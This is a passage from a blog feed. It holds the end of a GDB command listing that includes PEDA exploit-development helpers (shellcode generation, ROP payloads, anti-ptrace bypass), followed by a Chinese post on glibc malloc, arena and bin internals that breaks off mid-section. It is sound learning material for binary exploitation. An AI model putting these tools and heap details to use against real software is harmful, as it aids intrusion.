Show current use of remote protocol `qXfer:spu:write' (write-spu-object) packetshow remote write-watchpoint-packet -- Show current use of remote protocol `Z2' (write-watchpoint) packetshow remoteaddresssize -- Show the maximum size of the address (in bits) in a memory packetshow remotebreak -- Show whether to send break if interruptedshow remotecache -- Show cache use for remote targetsshow remoteflow -- Show use of hardware flow control for remote serial I/Oshow remotelogbase -- Show numerical base for remote session loggingshow remotelogfile -- Show filename for remote session recordingshow remotetimeout -- Show timeout limit to wait for target to respondshow remotewritesize -- Show the maximum number of bytes per memory write packet (deprecated)show schedule-multiple -- Show mode for resuming threads of all processesshow scheduler-locking -- Show mode for locking scheduler during executionshow script-extension -- Show mode for script filename extension recognitionshow serial -- Show default serial/parallel port configurationshow serial baud -- Show baud rate for remote serial I/Oshow serial parity -- Show parity for remote serial I/Oshow solib-absolute-prefix -- Show the current system rootshow solib-search-path -- Show the search path for loading non-absolute shared library symbol filesshow stack-cache -- Show cache use for stack accessshow startup-with-shell -- Show use of shell to start subprocessesshow step-mode -- Show mode of the step operationshow stop-on-solib-events -- Show stopping for shared library eventsshow struct-convention -- Show the convention for returning small structsshow substitute-path -- Usage: show substitute-path [FROM]show sysroot -- Show the current system rootshow target-async -- Show whether MI asynchronous mode is enabledshow target-charset -- Show the target character setshow target-file-system-kind -- Show assumed file system kind for target reported file namesshow target-wide-charset -- Show the target wide character setshow tcp -- TCP protocol specific variablesshow tcp auto-retry -- Show auto-retry on socket connectshow tcp connect-timeout -- Show timeout limit in seconds for socket connectionshow tdesc -- Show target description specific variablesshow tdesc filename -- Show the file to read for an XML target descriptionshow trace-buffer-size -- Show requested size of trace buffershow trace-commands -- Show state of GDB CLI command tracingshow trace-notes -- Show the notes string to use for current and future trace runsshow trace-stop-notes -- Show the notes string to use for future tstop commandsshow trace-user -- Show the user name to use for current and future trace runsshow trust-readonly-sections -- Show mode for reading from readonly sectionsshow tui -- TUI configuration variablesshow tui active-border-mode -- Show the attribute mode to use for the active TUI window bordershow tui border-kind -- Show the kind of border for TUI windowsshow tui border-mode -- Show the attribute mode to use for the TUI window bordersshow unwind-on-terminating-exception -- Show unwinding of stack if std::terminate() is called while in a call dummyshow unwindonsignal -- Show unwinding of stack if a signal is received while in a call dummyshow use-coredump-filter -- Show whether gcore should consider /proc/PID/coredump_filtershow use-deprecated-index-sections -- Show whether to use deprecated gdb_index sectionsshow user -- Show definitions of non-python/scheme user defined commandsshow values -- Elements of value history around item number IDX (or last ten)show verbose -- Show verbosityshow version -- Show what version of GDB this isshow warranty -- Various kinds of warranty you do not haveshow watchdog -- Show watchdog timershow width -- Show number of characters where GDB should wrap lines of its outputshow write -- Show writing into executable and core files</code></pre><h1 id="Command-class-support"><a href="#Command-class-support" class="headerlink" title="Command class: support"></a>Command class: support</h1><pre><code>! -- Execute the rest of the line as a shell commandadd-auto-load-safe-path -- Add entries to the list of directories from which it is safe to auto-load filesadd-auto-load-scripts-directory -- Add entries to the list of directories from which to load auto-loaded scriptsalias -- Define a new command that is an alias of an existing commandapropos -- Search for commands matching a REGEXPdefine -- Define a new command namedemangle -- Demangle a mangled namedocument -- Document a user-defined commanddont-repeat -- Don't repeat this commanddown-silently -- Same as the `down' commandecho -- Print a constant stringhelp -- Print list of commandsif -- Execute nested commands once IF the conditional expression is non zerointerpreter-exec -- Execute a command in an interpretermake -- Run the ``make'' program using the rest of the line as argumentsoverlay -- Commands for debugging overlaysoverlay auto -- Enable automatic overlay debuggingoverlay list-overlays -- List mappings of overlay sectionsoverlay load-target -- Read the overlay mapping state from the targetoverlay manual -- Enable overlay debuggingoverlay map-overlay -- Assert that an overlay section is mappedoverlay off -- Disable overlay debuggingoverlay unmap-overlay -- Assert that an overlay section is unmappedquit -- Exit gdbshell -- Execute the rest of the line as a shell commandsource -- Read commands from a file named FILEup-silently -- Same as the `up' commandwhile -- Execute nested commands WHILE the conditional expression is non zero</code></pre><h1 id="Command-class-tracepoints"><a href="#Command-class-tracepoints" class="headerlink" title="Command class: tracepoints"></a>Command class: tracepoints</h1><pre><code>actions -- Specify the actions to be taken at a tracepointcollect -- Specify one or more data items to be collected at a tracepointend -- Ends a list of commands or actionspasscount -- Set the passcount for a tracepointsave-tracepoints -- Save current tracepoint definitions as a scripttdump -- Print everything collected at the current tracepointteval -- Specify one or more expressions to be evaluated at a tracepointtfind -- Select a trace frame;tfind end -- De-select any trace frame and resume 'live' debuggingtfind line -- Select a trace frame by source linetfind none -- De-select any trace frame and resume 'live' debuggingtfind outside -- Select a trace frame whose PC is outside the given range (exclusive)tfind pc -- Select a trace frame by PCtfind range -- Select a trace frame whose PC is in the given range (inclusive)tfind start -- Select the first trace frame in the trace buffertfind tracepoint -- Select a trace frame by tracepoint numbertsave -- Save the trace data to a filetstart -- Start trace data collectiontstatus -- Display the status of the current trace data collectiontstop -- Stop trace data collectiontvariable -- Define a trace state variablewhile-stepping -- Specify single-stepping behavior at a tracepoint</code></pre><h1 id="Command-class-user-defined"><a href="#Command-class-user-defined" class="headerlink" title="Command class: user-defined"></a>Command class: user-defined</h1><p>hook-stop — User-defined</p><h1 id="Unclassified-commands"><a href="#Unclassified-commands" class="headerlink" title="Unclassified commands"></a>Unclassified commands</h1><pre><code>add-inferior -- Add a new inferioraslr -- 32mShow/set ASLR setting of GDBasmsearch -- 32mSearch for ASM instructions in memoryassemble -- 32mOn the fly assemble and execute instructions using NASMbreakrva -- 32mSet breakpoint by Relative Virtual Address (RVA)brva -- 32mAlias for 'breakrva'cat -- 32mAlias for 'shell cat'checksec -- 32mCheck for various security options of binaryclear -- 32mAlias for 'shell clear'clone-inferior -- Clone inferior IDcmpmem -- 32mCompare content of a memory region with a filecontext -- 32mDisplay various information of current execution contextcontext_code -- 32mDisplay nearby disassembly at PC of current execution contextcontext_register -- 32mDisplay register information of current execution contextcontext_stack -- 32mDisplay stack of current execution contextcrashdump -- 32mDisplay crashdump info and save to filedeactive -- 32mBypass a function by ignoring its execution (eg sleep/alarm)distance -- 32mCalculate distance between two addressesdumpargs -- 32mDisplay arguments passed to a function when stopped at a call instructiondumpmem -- 32mDump content of a memory region to raw binary filedumprop -- 32mDump all ROP gadgets in specific memory rangeeflags -- 32mDisplay/set/clear/toggle value of eflags registerelfheader -- 32mGet headers information from debugged ELF fileelfsymbol -- 32mGet non-debugging symbol information from an ELF fileeval -- Convert "printf format string"find -- 32mAlias for 'peda searchmem'ftrace -- 32mAlias for 'peda tracecall'function -- Placeholder command for showing help on convenience functionsfunction _any_caller_is -- Check all calling function's namesfunction _any_caller_matches -- Compare all calling function's names with a regexpfunction _caller_is -- Check the calling function's namefunction _caller_matches -- Compare the calling function's name with a regexpfunction _isvoid -- Check whether an expression is voidfunction _memeq -- _memeq - compare bytes of memoryfunction _regex -- _regex - check if a string matches a regular expressionfunction _streq -- _streq - check string equalityfunction _strlen -- _strlen - compute string lengthgennop -- 32mGenerate abitrary length NOP sled using given charactersgetfile -- 32mGet exec filename of current debugged processgetpid -- 32mGet PID of current debugged processgoto -- 32mContinue execution at an addressgrep -- 32mAlias for 'shell grep'hexdump -- 32mDisplay hex/ascii dump of data in memoryhexprint -- 32mDisplay hexified of data in memoryitrace -- 32mAlias for 'peda traceinst'jit-reader-load -- Load FILE as debug info reader and unwinder for JIT compiled codejit-reader-unload -- Unload the currently loaded JIT debug info readerjmpcall -- 32mSearch for JMP/CALL instructions in memoryjtrace -- 32mAlias for 'peda traceinst j'less -- 32mAlias for 'shell less'loadmem -- 32mLoad contents of a raw binary file to memorylookup -- 32mSearch for all addresses/references to addresses which belong to a memory rangels -- 32mAlias for 'shell ls'man -- 32mAlias for 'shell man'more -- 32mAlias for 'shell more'nano -- 32mAlias for 'shell nano'nearpc -- 32mDisassemble instructions nearby current PC or given addressnextcall -- 32mStep until next 'call' instruction in specific memory rangenextjmp -- 32mStep until next 'j*' instruction in specific memory rangenxtest -- 32mPerform real NX test to see if it is enabled/supported by OSpatch -- 32mPatch memory start at an address with string/hexstring/intpatta -- 32mAlias for 'peda pattern_arg'pattc -- 32mAlias for 'peda pattern_create'patte -- 32mAlias for 'peda pattern_env'pattern -- 32mGeneratepattern_arg -- 32mSet argument list with cyclic patternpattern_create -- 32mGenerate a cyclic patternpattern_env -- 32mSet environment variable with a cyclic patternpattern_offset -- 32mSearch for offset of a value in cyclic patternpattern_patch -- 32mWrite a cyclic pattern to memorypattern_search -- 32mSearch a cyclic pattern in registers and memorypatto -- 32mAlias for 'peda pattern_offset'patts -- 32mAlias for 'peda pattern_search'payload -- 32mGenerate various type of ROP payload using ret2pltpbreak -- 32mAlias for 'peda pltbreak'pdisass -- 32mFormat output of gdb disassemble command with colorspead -- 32mAlias for 'peda'phelp -- 32mAlias for 'peda help'pkill -- 32mAlias for 'shell pkill'pltbreak -- 32mSet breakpoint at PLT functions match name regexprocinfo -- 32mDisplay various info from /proc/pid/profile -- 32mSimple profiling to count executed instructions in the programps -- 32mAlias for 'shell ps'pset -- 32mAlias for 'peda set'pshow -- 32mAlias for 'peda show'pyhelp -- 32mWrapper for python built-in helpreadelf -- 32mGet headers information from an ELF filerefsearch -- 32mSearch for all references to a value in memory rangesreg -- 32mAlias for 'peda xinfo register'reload -- 32mReload PEDA sourcesremove-inferiors -- Remove inferior ID (or list of IDs)ropgadget -- 32mGet common ROP gadgets of binary or libraryropsearch -- 32mSearch for ROP gadgets in memorysearchmem -- 32mSearch for a pattern in memory; support regex searchsession -- 32mSave/restore a working gdb session to file as a scriptsgrep -- 32mSearch for full strings contain the given patternshellcode -- 32mGenerate or download common shellcodes.skeleton -- 32mGenerate python exploit code templateskipi -- 32mSkip execution of next count instructionssnapshot -- 32mSave/restore process's snapshot to/from filestack -- 32mAlias for 'peda telescope sp'start -- 32mStart debugged program and stop at most convenient entrystepuntil -- 32mStep until a desired instruction in specific memory rangestrings -- 32mDisplay printable strings in memorysubstr -- 32mSearch for substrings of a given string/number in memorytelescope -- 32mDisplay memory content at an address with smart dereferencestracecall -- 32mTrace function calls made by the programtraceinst -- 32mTrace specific instructions executed by the programunptrace -- 32mDisable anti-ptrace detectionunset -- Complement to certain "set" commandsunset environment -- Cancel environment variable VAR for the programunset exec-wrapper -- Disable use of an execution wrapperunset substitute-path -- Usage: unset substitute-path [FROM]unset tdesc -- Unset target description specific variablesunset tdesc filename -- Unset the file to read for an XML target descriptionutils -- 32mMiscelaneous utilities from utils modulevi -- 32mAlias for 'shell vi'viewmem -- 32mAlias for 'peda telescope'vmmap -- 32mGet virtual mapping address ranges of section(s) in debugged processwaitfor -- 32mTry to attach to new forked process; mimic "attach -waitfor"xinfo -- 32mDisplay detail information of address/registersxormem -- 32mXOR a memory region with a keyxprint -- 32mExtra support to GDB's print commandxrefs -- 32mSearch for all call/data access references to a function/variablexuntil -- 32mContinue execution until an address or function</code></pre>]]></content>
<tags>
<tag> pwn, tools </tag>
</tags>
</entry>
<entry>
<title>调用Malloc后发生了什么</title>
<link href="/2019/02/26/%E8%B0%83%E7%94%A8malloc%E5%90%8E%E5%8F%91%E7%94%9F%E4%BA%86%E4%BB%80%E4%B9%88/"/>
<url>/2019/02/26/%E8%B0%83%E7%94%A8malloc%E5%90%8E%E5%8F%91%E7%94%9F%E4%BA%86%E4%BB%80%E4%B9%88/</url>
<content type="html"><![CDATA[<p>malloc函数是用来进行内存分配的函数, 会在在堆上分配一段内存并返回地址</p><p>malloc是glibc函数, 实际上对应的系统调用是brk()函数</p><h2 id="进程的地址空间"><a href="#进程的地址空间" class="headerlink" title="进程的地址空间:"></a>进程的地址空间:</h2><p><img src="/images/调用malloc后发生了什么/1.jpg" alt=""></p><p>众所周知, 栈由高地址向低地址增加, 堆则从低地址向高地址增加</p><h2 id="brk-amp-sbrk"><a href="#brk-amp-sbrk" class="headerlink" title="brk & sbrk"></a>brk & sbrk</h2><p>看一下<a href="https://www.cnblogs.com/shayu/p/3371880.html">brk和sbrk的用法</a>:</p><p>brk和sbrk提供底层的内存分配</p><p>共同维护一个系统指针, 用于对同类型的大块数据的动态存放</p><p>定义:<br><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">brk</span><span class="params">(<span class="keyword">void</span> *end_data_segment)</span></span>; <span class="comment">// 通过移动指针分配空间,释放空间</span></span><br><span class="line"><span class="function"><span class="keyword">void</span>* <span class="title">sbrk</span><span class="params">(<span class="keyword">ptrdiff_t</span> increment)</span></span>; <span class="comment">// 分配内存空间,返回指定大小空间的地址</span></span><br></pre></td></tr></table></figure></p><p>brk用法:</p><pre><code>对参数中end_data_segment做[绝对位置]调整,调动指针左右移动,左移-释放空间,右移-分配空间如果内存分配失败,二者都返回-1简而言之, brk可以指定堆的结束地址如当前堆结束地址是0x1000, 调用brk(0x2000), 那么堆结束地址就变成了0x2000, 堆块增加了0x1000的大小</code></pre><p>sbrk用法:</p><pre><code>第一次调用时,系统分配一大块空闲地址,把首地址返回,分配给一个指针phead,作为首地址不动;下一次调用时,返回当前位置的地址,分配给一个指针pnow,并把指针指向+increment的地方;sbrk的参数是一个相对地址, 即当前堆结束地址 + 参数, 并返回因此可以通过调用sbrk(0)的方式来获取当前堆结束地址</code></pre><p>例子:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> *brk_end = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="comment">/*表示自己想扩展堆大小0字节</span></span><br><span class="line"><span class="comment"> *由于sbrk返回的是新的brk_end,所以sbrk(0)就能获取到当前</span></span><br><span class="line"><span class="comment"> *的brk_end</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">char</span> *p = sbrk(<span class="number">0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"current brk end:%p\n"</span>,p);</span><br><span class="line"> <span class="comment">/*brk的入参是绝对地址,表示自己想要拓展brk_end至p+4096*/</span></span><br><span class="line"> brk(p+<span class="number">0x1000</span>);</span><br><span class="line"> <span class="comment">/*再次尝试获取当前的brk_end*/</span></span><br><span class="line"> brk_end = sbrk(<span class="number">0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"current brk end:%p\n"</span>,brk_end);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>输出:</p><pre><code>current brk end:0x98e000current brk end:0x98f000</code></pre><p>程序流程: <code>获取堆结束地址(sbrk(0)) -> 拓展堆地址0x1000字节(brk(0x1000)) -> 获取堆结束地址(sbrk(0))</code></p><p>显然只用sbrk也可以实现如上程序, 即用<code>sbrk(0x1000)</code>替换<code>brk(p + 0x1000)</code></p><p>如果是使用<code>brk(0x1000)</code>呢?</p><pre><code>$ gcc -o test1 test1.c test1.c: In function ‘main’:test1.c:8:15: warning: initialization makes pointer from integer without a cast void *c = 0x1000; ^$ ./test1 current brk end:0x1e5d000current brk end:0x1e7e000</code></pre><p>why?地址不应该是改到0x001000了吗?</p><pre><code>0x0000000000400605 in main ()gdb-peda$ current brk end:0x623000gdb-peda$ x/10gx 0x6020000x602000: 0x0000000000000000 0x00000000000004110x602010: 0x20746e6572727563 0x3a646e65206b72620x602020: 0x3030303332367830 0x000000000000000a0x602030: 0x0000000000000000 0x00000000000000000x602040: 0x0000000000000000 0x0000000000000000gdb-peda$ x/10gx 0x6230000x623000: Cannot access memory at address 0x623000gdb-peda$ vmmap heapStart End Perm Name0x00602000 0x00623000 rw-p [heap]</code></pre><p>可以看到调用brk(0x1000)后, 堆末地址会移动到一个不可读的地方, 即<code>0x623000</code></p><p>距离堆顶为<code>0x623000 - 0x602000 = 0x21000, 0x21000 / 0x400 = 132KB</code></p><h2 id="arena"><a href="#arena" class="headerlink" title="arena"></a>arena</h2><p>这132KB的空间叫做arena, 由于是主线程分配的, 所以叫main_arena</p><p>而其他子线程分配的空间则叫做thread_arena</p><p>arena的数量是和处理器的核心数相关的:</p><pre><code>32位系统下: arena数 = 2 * 核心数 + 1.64位系统下: arena数 = 8 * 核心数 + 1.</code></pre><p>分配arena的策略是:</p><pre><code>1. 主线程malloc的时候, 无条件直接分配main arena2. 分线程分别分配thread arena3. 当线程数多于arena数时, 循环遍历所有arena, 尝试通过互斥锁锁定第一个可被锁定的arena, 然后给这个多的线程使用4. 如果没有可用的arena时, 则此线程将被阻塞</code></pre><h2 id="数据结构"><a href="#数据结构" class="headerlink" title="数据结构"></a>数据结构</h2><p>ptmalloc通过arena, heap, chunk三种层级的数据结构来对内存管理</p><p>分别对应heap_info, malloc_state, malloc_chunk三种数据结构</p><p>每个线程对应一个arena, 而每个arena包含了多个heap, 每个heap又拥有多个chunk</p><ol><li>heap_info</li></ol><p>即heap header, 由于一个arena包括多个heap, 所以给每个heap设置一个header便于管理</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">heap_info</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> mstate ar_ptr; <span class="comment">/* 这个heap所在的arena */</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">heap_info</span> *<span class="title">prev</span>;</span> <span class="comment">/* 前一个heap */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">size_t</span> <span class="built_in">size</span>; <span class="comment">/* 当前heap的大小(单位: byte) */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">size_t</span> mprotect_size; <span class="comment">/* 写保护和读保护的字节数 PROT_READ|PROT_WRITE */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> pad[<span class="number">-6</span> * SIZE_SZ & MALLOC_ALIGN_MASK]; <span class="comment">/* 用于数据对齐, 确保 sizeof (heap_info) + 2 * SIZE_SZ 的值是MALLOC_ALIGNMENT的倍数*/</span></span><br><span class="line"></span><br><span class="line">} heap_info;</span><br></pre></td></tr></table></figure><ol><li>malloc_state</li></ol><p>即arena header, 每个线程只有一个arena header, 包括各种bins的信息, top chunk和remainder chunk等信息</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">malloc_state</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> <span class="keyword">mutex_t</span> mutex; <span class="comment">/* 互斥锁, 学过操作系统的应该对mutex这个词很熟悉, 用来对arena进行操作时的同步和互斥 */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> flags; <span class="comment">/* 标志位 */</span></span><br><span class="line"></span><br><span class="line"> mfastbinptr fastbinsY[NFASTBINS]; <span class="comment">/* fastbin的链表数组, 包括了多个fastbin链表, 是单链表结构 */</span></span><br><span class="line"></span><br><span class="line"> mchunkptr top; <span class="comment">/* top chunk, 当找不到合适大小的bin时, 就在top chunk中分离一段内存并分配 */</span></span><br><span class="line"></span><br><span class="line"> mchunkptr last_remainder; <span class="comment">/* top chunk分离后剩下的未分配的内存 */</span></span><br><span class="line"></span><br><span class="line"> mchunkptr bins[NBINS * <span class="number">2</span> - <span class="number">2</span>]; <span class="comment">/* 除了fastbin的其他bin, 即small bin, large bin, unsorted bin, 都使用的是双向链表*/</span></span><br><span class="line"> <span class="comment">/* 下标1是unsorted bin, 2~63是small bin, 64~126是large bin */</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> binmap[BINMAPSIZE]; <span class="comment">/* 用于指示bin是否被使用的一个位图 */</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">malloc_state</span> *<span class="title">next</span>;</span> <span class="comment">/* 下一个已分配的malloc_state的位置, 即malloc_state是单链表的一个结点 */</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">malloc_state</span> *<span class="title">next_free</span>;</span> <span class="comment">/* 指向未分配的arena的列表 */</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 当前arena中被分配的系统内存的总量 */</span></span><br><span class="line"></span><br><span class="line"> INTERNAL_SIZE_T system_mem;</span><br><span class="line"> INTERNAL_SIZE_T max_system_mem;</span><br><span class="line">};</span><br></pre></td></tr></table></figure><ol><li>malloc_chunk</li></ol><p>即chunk header, 一个heap被分为多个chunk</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span> {</span></span><br><span class="line"> <span class="comment">/* #define INTERNAL_SIZE_T size_t */</span></span><br><span class="line"> INTERNAL_SIZE_T prev_size; <span class="comment">/* 前一个chunk的大小(前一个chunk空闲时有意义, 若非空闲则指向用户数据) */</span></span><br><span class="line"> INTERNAL_SIZE_T <span class="built_in">size</span>; <span class="comment">/* 当前chunk的大小, 包括头部数据, 末三位作为标志位 */</span></span><br><span class="line"> <span class="comment">/* 最低位表示前一个chunk是否被使用 */</span></span><br><span class="line"> <span class="comment">/* 倒数第二位表示该chunk是否由mmap分配 */</span></span><br><span class="line"> <span class="comment">/* 倒数第三位表示该chunk是否存在于main arena */</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">fd</span>;</span> <span class="comment">/* 双向链表的前向指针, 这两个指针只在free chunk中存在*/</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">bk</span>;</span> <span class="comment">/* 双向链表的后向指针, 同上 */</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 只用于large chunk, 指向下一个large chunk size */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">fd_nextsize</span>;</span> <span class="comment">/* 双向链表, 空闲时有效 */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">bk_nextsize</span>;</span></span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>未被分配时:</p><pre><code> chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . |nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</code></pre><p>被分配时:</p><pre><code> chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . next . | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</code></pre><h2 id="bins和chunk"><a href="#bins和chunk" class="headerlink" title="bins和chunk:"></a>bins和chunk:</h2><pre><code>bins直译过来是箱子的意思, 因而bins是和内存回收相关的一个结构用户释放之前申请的内存时, 操作系统根据释放的内存大小来决定将释放的内存放入哪个bin中所以bin相当于一个内存回收的分类而chunk翻译是块, 即数据块, 是内存分配的单位操作系统根据申请内存大小的不同, 从相应的bin中取出内存来分配如果没有合适大小的内存会从top chunk中分割一部分内存来分配剩余内存则放在remainder chunk中</code></pre><h2 id="四种类型的bin"><a href="#四种类型的bin" class="headerlink" title="四种类型的bin:"></a>四种类型的bin:</h2><h3 id="fastbin"><a href="#fastbin" class="headerlink" title="fastbin"></a>fastbin</h3><pre><code>fastbin存放最小的chunk, 分配起来也是最快的, 可以分配从0到80byte的chunk有10个链表, 分别对应不同大小的fastbin(初始化的时候只到64byte而不是80byte, 便于对齐)fastbin是一个单链表, 操作更快如果有两个相邻的空闲fastbin是不会合并的, 因而fastbin会在malloc_state结构中独立于其他的bin大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。</code></pre><p>32位下:</p><div class="table-container"><table><thead><tr><th style="text-align:center">Fastbin</th><th style="text-align:center">chunk大小</th><th style="text-align:center">实际chunk大小(包括元数据)</th></tr></thead><tbody><tr><td style="text-align:center">0</td><td style="text-align:center">00 - 12</td><td style="text-align:center">16</td></tr><tr><td style="text-align:center">1</td><td style="text-align:center">13 - 20</td><td style="text-align:center">24</td></tr><tr><td style="text-align:center">2</td><td style="text-align:center">21 - 28</td><td style="text-align:center">32</td></tr><tr><td style="text-align:center">3</td><td style="text-align:center">29 - 36</td><td style="text-align:center">40</td></tr><tr><td style="text-align:center">4</td><td style="text-align:center">37 - 44</td><td style="text-align:center">48</td></tr><tr><td style="text-align:center">5</td><td style="text-align:center">45 - 52</td><td style="text-align:center">56</td></tr><tr><td style="text-align:center">6</td><td style="text-align:center">53 - 60</td><td style="text-align:center">64</td></tr><tr><td style="text-align:center">7</td><td style="text-align:center">61 - 68</td><td style="text-align:center">72</td></tr><tr><td style="text-align:center">8</td><td style="text-align:center">69 - 76</td><td style="text-align:center">80</td></tr><tr><td style="text-align:center">9</td><td style="text-align:center">77 - 80</td><td style="text-align:center">88</td></tr></tbody></table></div><p>64位下:</p><div class="table-container"><table><thead><tr><th style="text-align:center">Fastbin</th><th style="text-align:center">chunk大小</th><th style="text-align:center">实际chunk大小(包括元数据)</th></tr></thead><tbody><tr><td style="text-align:center">0</td><td style="text-align:center">00 - 24</td><td style="text-align:center">32</td></tr><tr><td style="text-align:center">1</td><td style="text-align:center">25 - 40</td><td style="text-align:center">48</td></tr><tr><td style="text-align:center">2</td><td style="text-align:center">41 - 56</td><td style="text-align:center">64</td></tr><tr><td style="text-align:center">3</td><td style="text-align:center">57 - 72</td><td style="text-align:center">80</td></tr><tr><td style="text-align:center">4</td><td style="text-align:center">73 - 88</td><td style="text-align:center">96</td></tr><tr><td style="text-align:center">5</td><td style="text-align:center">89 - 104</td><td style="text-align:center">112</td></tr><tr><td style="text-align:center">6</td><td style="text-align:center">105 - 120</td><td style="text-align:center">128</td></tr><tr><td style="text-align:center">7</td><td style="text-align:center">121 - 136</td><td style="text-align:center">144</td></tr></tbody></table></div><h3 id="small-bin"><a href="#small-bin" class="headerlink" title="small bin"></a>small bin</h3><pre><code>small bin 用来存放512byte以内的chunk, 共62个, 每个的间距是8byte如果有两个相邻的空闲small bin, 则这两个bin会合并</code></pre><h3 id="large-bin"><a href="#large-bin" class="headerlink" title="large bin"></a>large bin</h3><pre><code>包含大于512 byte的chunk, 共63个, 间距为8byte</code></pre><p>组织方法如下:</p><pre><code>32个bin, 每64个byte一个阶层, 第一个512~568(512 + 64 - 8), 第二个576~632...16个bin, 每512个byte一个阶层8个bin, 每4096个byte一个阶层4个bin, 每32768个byte一个阶层2个bin, 每262144个byte一个阶层最后一个bin包括剩下的所有大小 </code></pre><p>和small bin不同的地方在于,这里的每一个bin都保存的是一个范围而不是一个确定的值,每一个bin内的chunk大小是排好序的。不过和small bin一样也可以合并。</p><h3 id="unsorted-bin"><a href="#unsorted-bin" class="headerlink" title="unsorted bin"></a>unsorted bin</h3><pre><code>当small bin和large bin中的chunk被释放的时候会放入unsorted bin只有一个, 是一个循环链表</code></pre><h2 id="top-chunk和remainder-chunk"><a href="#top-chunk和remainder-chunk" class="headerlink" title="top chunk和remainder chunk"></a>top chunk和remainder chunk</h2><p>引用一张图片:</p><p><img src="/images/调用malloc后发生了什么/2.jpg" alt=""></p><p>可以看到top chunk是在最上面的(最高地址处), 是一个内存分配的边界(有效内存)</p><p>这个chunk不属于任何bin, 默认这个chunk永远存在, 大小不够的时候会通过系统调用来分配新的内存</p><p>在main arena通过sbrk分配的内存会直接加入到top chunk来拓展heap</p><p>在thread arena通过mmap分配的内存则会拥有新的heap, 同时拥有了新的top chunk</p><p>top chunk分配后, 剩下的chunk会分配给remainder chunk</p><h2 id="内存操作过程"><a href="#内存操作过程" class="headerlink" title="内存操作过程"></a>内存操作过程</h2><h3 